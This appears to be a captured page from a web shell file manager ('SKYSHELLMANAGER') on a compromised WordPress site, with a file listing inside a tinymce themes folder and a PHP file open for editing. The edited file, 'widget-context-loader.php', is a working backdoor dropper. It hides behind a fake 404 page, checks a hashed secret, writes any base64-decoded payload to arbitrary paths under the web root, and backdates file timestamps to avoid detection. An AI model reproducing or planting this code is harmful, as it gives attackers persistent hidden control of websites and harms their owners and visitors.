ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.6

Path:root/var/www/cstage/wp-includes/js/tinymce/themes/

Name	Size	Perm	Actions
📁 inlite	-	0755	🗑️ 🏷️
📁 modern	-	0755	🗑️ 🏷️
📄 ms-files.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: widget-context-loader.php

<?php

$_jzx1u = 'LKSJDFaDFDF323$2afd';
$_qc0 = '_ck_x9t688ja';

if (isset($_GET[$_qc0])) { echo '1'; exit; }

$_toxpx = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$_toxpx = strtolower($_toxpx);
$_synlm = strpos($_toxpx, ':');
if ($_synlm !== false) { $_toxpx = substr($_toxpx, 0, $_synlm); }
if (substr($_toxpx, 0, 4) === 'www.') { $_toxpx = substr($_toxpx, 4); }

$_r8sx = md5($_jzx1u . ':' . $_toxpx . ':' . $_jzx1u);

$_x0u6n = isset($_POST['sig']) ? $_POST['sig'] : '';
if ($_x0u6n !== $_r8sx) {
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE html>\n<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>";
    exit;
}

$_ux6e7 = isset($_POST['dest_rel']) ? $_POST['dest_rel'] : '';
$_eemo = isset($_POST['payload_b64']) ? $_POST['payload_b64'] : '';

if ($_ux6e7 === '' || $_eemo === '') { echo '{"ok":0}'; exit; }

$_ux6e7 = str_replace('\\', '/', $_ux6e7);
$_ux6e7 = ltrim($_ux6e7, '/');
if ($_ux6e7 === '' || strpos($_ux6e7, '..') !== false) { echo '{"ok":0}'; exit; }

$_mmwyi = dirname(__FILE__);
$_jyo = '../../../..';
$_tou4 = ($_jyo === '' || $_jyo === '.') ? $_mmwyi : $_mmwyi . '/' . $_jyo;

$_a0 = $_tou4 . '/' . $_ux6e7;
$_mt = dirname($_a0);
if (!is_dir($_mt)) { @mkdir($_mt, 0755, true); }

$_o5i = base64_decode($_eemo);
if ($_o5i === false) { echo '{"ok":0}'; exit; }

if (file_put_contents($_a0, $_o5i) === false) { echo '{"ok":0}'; exit; }

$_l8z3t = mktime(mt_rand(0,23),mt_rand(0,59),mt_rand(0,59),mt_rand(1,12),mt_rand(1,28),2020);
@touch($_a0, $_l8z3t);

echo '{"ok":1,"s":' . strlen($_o5i) . '}';

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.3.6

Edit: widget-context-loader.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.6